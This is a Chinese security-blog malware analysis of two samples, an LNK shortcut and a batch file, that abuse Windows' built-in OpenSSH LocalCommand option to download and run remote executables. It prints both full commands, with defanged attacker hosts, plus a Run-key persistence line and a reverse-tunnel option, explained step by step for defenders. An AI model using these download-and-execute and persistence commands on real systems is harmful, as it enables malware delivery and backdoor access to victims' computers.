使用 ssh 投递恶意文件的骚操作

admin 2024年12月28日13:07:15评论23 views字数 6143阅读20分28秒阅读模式
使用 ssh 投递恶意文件的骚操作

今天早上看到研究人员发布了一个有趣的文件:"christmas_slab.pdf.lnk"(https://www.virustotal.com/gui/file/8bd210b33340ee5cdd9031370eed472fcc7cae566752e39408f699644daf8494/details)。快捷方式文件(.lnk)是在受害者电脑上执行恶意程序的经典手法,但这次使用的技术很有意思。

微软现在已经为 Windows 增加了 SSH 支持。

由于现在许多电脑都已经支持 ssh,攻击者也找到了一个利用 SSH(准确地说是 SCP)协议传递恶意内容的新方法。这正是今天这个 LNK 文件所使用的技术:

remnux@remnux:/MalwareZoo/20241220$ exiftool christmas_slab.pdf.lnk 
ExifTool Version Number         : 12.76
File Name                       : christmas_slab.pdf.lnk
Directory                       : .
File Size                       : 1992 bytes
File Modification Date/Time     : 2024:12:20 05:39:50-05:00
File Access Date/Time           : 2024:12:20 05:39:50-05:00
File Inode Change Date/Time     : 2024:12:20 05:39:50-05:00
File Permissions                : -rwx------
File Type                       : LNK
File Type Extension            : lnk
MIME Type                      : application/octet-stream
Flags                          : IDList, LinkInfo, RelativePath, WorkingDir, CommandArgs, Unicode, TargetMetadata
File Attributes                : Archive
Create Date                    : 2024:10:09 05:37:10-04:00
Access Date                    : 2024:11:05 07:47:23-05:00
Modify Date                    : 2024:10:09 05:37:10-04:00
Target File Size               : 1243648
Icon Index                     : (none)
Run Window                     : Normal
Hot Key                        : (none)
Target File DOS Name           : ssh.exe
Drive Type                     : Fixed Disk
Drive Serial Number            : 280C-1822
Volume Label                   : 
Local Base Path               : C:\Windows\System32\OpenSSH\ssh.exe
Relative Path                 : ..\..\..\Windows\System32\OpenSSH\ssh.exe
Working Directory             : C:\Program Files (x86)\Microsoft\Edge\Application
Command Line Arguments        : -o "PermitLocalCommand=yes" -o "StrictHostKeyChecking=no" -o "LocalCommand=scp root@17[.]43[.]12[.]31:/home/revenge/christmas-sale.exe c:\users\public\. && c:\users\public\christmas-sale.exe" revenge@17[.]43[.]12[.]31
Machine ID                    : christmas-destr

这段命令是一条 SSH 命令,它结合了一些选项和本地命令,用于连接到远程服务器并执行特定的操作。以下是详细解释:

命令结构:

ssh -o "PermitLocalCommand=yes" -o "StrictHostKeyChecking=no" -o "LocalCommand=scp root@17[.]43[.]12[.]31:/home/revenge/christmas-sale.exe c:\users\public\. && c:\users\public\christmas-sale.exe" revenge@17[.]43[.]12[.]31

参数逐步解析:

  1. ssh
    SSH 客户端命令,用于连接远程主机。

  2. -o
    用于设置 SSH 配置选项。可以多次使用 -o 来指定多个选项。

  3. PermitLocalCommand=yes

    • 启用 SSH 的本地命令功能。
    • 在会话建立后,允许运行配置中定义的 LocalCommand
  4. StrictHostKeyChecking=no

    • 禁用主机密钥检查。
    • 当连接到新的远程主机时,无需用户手动确认密钥(潜在安全风险)。
    • 适用于自动化脚本场景,但不推荐用于安全环境。
  5. LocalCommand=scp root@17[.]43[.]12[.]31:/home/revenge/christmas-sale.exe c:\users\public\. && c:\users\public\christmas-sale.exe

    • 使用 scp 从远程主机 17.43.12.31/home/revenge/christmas-sale.exe 路径将文件复制到本地路径 c:userspublic
    • 然后执行刚下载的文件 c:userspublicchristmas-sale.exe
    • 定义在 SSH 会话建立后本地执行的命令。这里的命令做了两件事:
  6. revenge@17[.]43[.]12[.]31

    • revenge 是 SSH 用户名。
    • 17.43.12.31 是目标主机的 IP 地址(注意,此处使用 [.] 是为了防止直接解析或被识别为 URL)。
    • 目标主机的 SSH 登录信息:

流程总结:

  1. SSH 连接到远程主机 17.43.12.31,使用用户名 revenge
  2. 禁用主机密钥检查以避免交互式确认。
  3. 启用 PermitLocalCommand,在会话建立后执行本地命令:
    • 从远程主机下载文件 christmas-sale.exe 到本地路径。
    • 执行下载的文件。

安全性注意:

  1. StrictHostKeyChecking=no
    • 关闭主机密钥检查可能导致 MITM(中间人攻击)风险。
  2. 自动执行文件
    • 执行从远程主机下载的可执行文件存在极高风险,可能是恶意代码。

这个 LNK 文件会启动 ssh.exe,然后传输并执行一个 PE 文件。启动后,同样的 IP 地址和用户名会作为参数传递给恶意程序。可惜的是,SSH 服务器已经下线了,我没能获取到这个文件。

另外一个可疑之处是,这个 IP 属于苹果公司:

NetRange:       17.0.0.0 - 17.255.255.255
CIDR:           17.0.0.0/8
NetName:        APPLE-WWNET
NetHandle:      NET-17-0-0-0-1
Parent:         ()
NetType:        Direct Allocation
OriginAS:
Organization:   Apple Inc. (APPLEC-1-Z)
RegDate:        1990-04-16
Updated:        2023-11-15
Comment:        Geofeed https://ip-geolocation.apple.com
Ref:            https://rdap.arin.net/registry/ip/17.0.0.0

研究人员还发布了另外一个关于ssh恶意文件

这是一个 Windows 批处理文件(SHA256:3172eb8283a3e82384e006458265b60001ba68c7982fda1b81053705496a999c)(https://www.virustotal.com/gui/file/3172eb8283a3e82384e006458265b60001ba68c7982fda1b81053705496a999c/details)],在 Virustotal 上的检出率很低。这个文件很小:

@echo off
pushd "%~dp0"

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "%~dp0start.vbs" /f > nul

C:\Windows\System32\OpenSSH\ssh.exe -o "StrictHostKeyChecking=no" -o "PermitLocalCommand=yes" -o "LocalCommand=curl -L -o %temp%\file1.exe hxxps://vdch79w0-8000[.]inc1[.]devtunnels[.]ms/Ghost.exe && %temp%\file1.exe"  -R 5555 -N -f sozina@64[.]227[.]161[.]158

除了用于实现持久化的注册表命令外,这个脚本就是一个单行命令,用来在受害者电脑上部署后门。它是如何运作的呢?

这段命令使用 Windows 下的 OpenSSH 客户端执行 SSH 连接,并结合选项和本地命令完成一系列操作。以下是详细解析每个部分的含义和作用:

命令结构:

C:\Windows\System32\OpenSSH\ssh.exe -o "StrictHostKeyChecking=no" -o "PermitLocalCommand=yes" -o "LocalCommand=curl -L -o %temp%\file1.exe hxxps://vdch79w0-8000[.]inc1[.]devtunnels[.]ms/Ghost.exe && %temp%\file1.exe" -R 5555 -N -f sozina@64[.]227[.]161[.]158

参数逐步解析:

1. C:\Windows\System32\OpenSSH\ssh.exe

  • 指定 Windows 系统中 OpenSSH 客户端的路径。
  • 用于执行 SSH 连接。

2. -o

  • SSH 配置选项。可以多次使用 -o 指定不同的选项。

3. StrictHostKeyChecking=no

  • 禁用主机密钥检查。
  • 当连接到新主机时,不会提示用户确认密钥,避免交互输入。
  • 风险:可能导致连接到恶意主机,适合自动化但不推荐用于生产环境。

4. PermitLocalCommand=yes

  • 启用 SSH 的本地命令功能。
  • 允许在建立连接后执行配置中指定的 LocalCommand

5. LocalCommand=curl -L -o %temp%\file1.exe hxxps://vdch79w0-8000[.]inc1[.]devtunnels[.]ms/Ghost.exe && %temp%\file1.exe

  • 定义本地命令,分为两步:
    • && %temp%file1.exe:下载完成后立即运行。
    • -L:跟随重定向。
    • -o %temp%file1.exe:将下载的内容保存为临时文件 %temp%file1.exe
    • hxxps://vdch79w0-8000[.]inc1[.]devtunnels[.]ms/Ghost.exe:远程 URL(使用 hxxps 代替 https 是为了防止意外访问,[.] 替代 . 是为了绕过检测)。
    1. 使用 curl 下载文件:
    2. 执行下载的文件:

6. -R 5555

  • 开启反向隧道,将远程主机的 5555 端口绑定到本地。
  • 允许远程主机通过绑定的端口访问本地服务。
  • 用法:此选项通常用于 NAT 穿透或反向连接。

7. -N

  • 不执行远程命令,仅进行端口转发。
  • SSH 会话只用作通道,不运行 shell。

8. -f

  • 以后台模式运行 SSH。
  • 会在验证完成后将 SSH 会话转入后台,便于继续操作。

9. sozina@64[.]227[.]161[.]158

  • 目标 SSH 用户名和主机:
    • sozina:远程主机的用户名。
    • 64.227.161.158:远程主机 IP 地址([.] 用于绕过检测)。

流程总结:

  1. 连接到远程主机 64.227.161.158,使用用户 sozina
  2. 禁用主机密钥检查,允许自动连接。
  3. 启用本地命令功能,执行本地命令:
    • 使用 curl 从指定 URL 下载 Ghost.exe 到临时目录,并运行。
  4. 开启反向隧道,将远程的 5555 端口绑定到本地。
  5. SSH 会话不会执行远程命令,仅用于端口转发。
  6. 连接建立后将会话转入后台。

安全性分析:

  1. StrictHostKeyChecking=no
    • 存在安全风险,可能连接到伪装的主机。
  2. 下载并执行文件
    • 通过 curl 下载并立即运行的行为可能用于分发恶意软件。
    • 文件来源(Ghost.exe)需要验证其可信度。
  3. 反向隧道
    • 反向隧道可能被用于绕过防火墙,提供对本地服务的访问,需警惕数据泄露或滥用。

值得注意的是,恶意可执行文件是通过 devtunnels.ms URL 传递的。这个域名是一个主要通过 Visual Studio 提供的功能("Dev Tunnels"(https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/overview)])。它允许开发者在开发过程中安全地将本地主机端口暴露到互联网上,这样远程客户端就可以访问和测试本地服务。这可以说是微软版本的 ngrok或者 frp。

主机目前仍然在线,但是 "sozina" 账号已经无法使用,Dev Tunnel URL 也是如此。研究人员猜测 Ghost.exe 是另一个远控木马。

原文始发于微信公众号(独眼情报):使用 ssh 投递恶意文件的骚操作

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月28日13:07:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用 ssh 投递恶意文件的骚操作https://cn-sec.com/archives/3551074.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息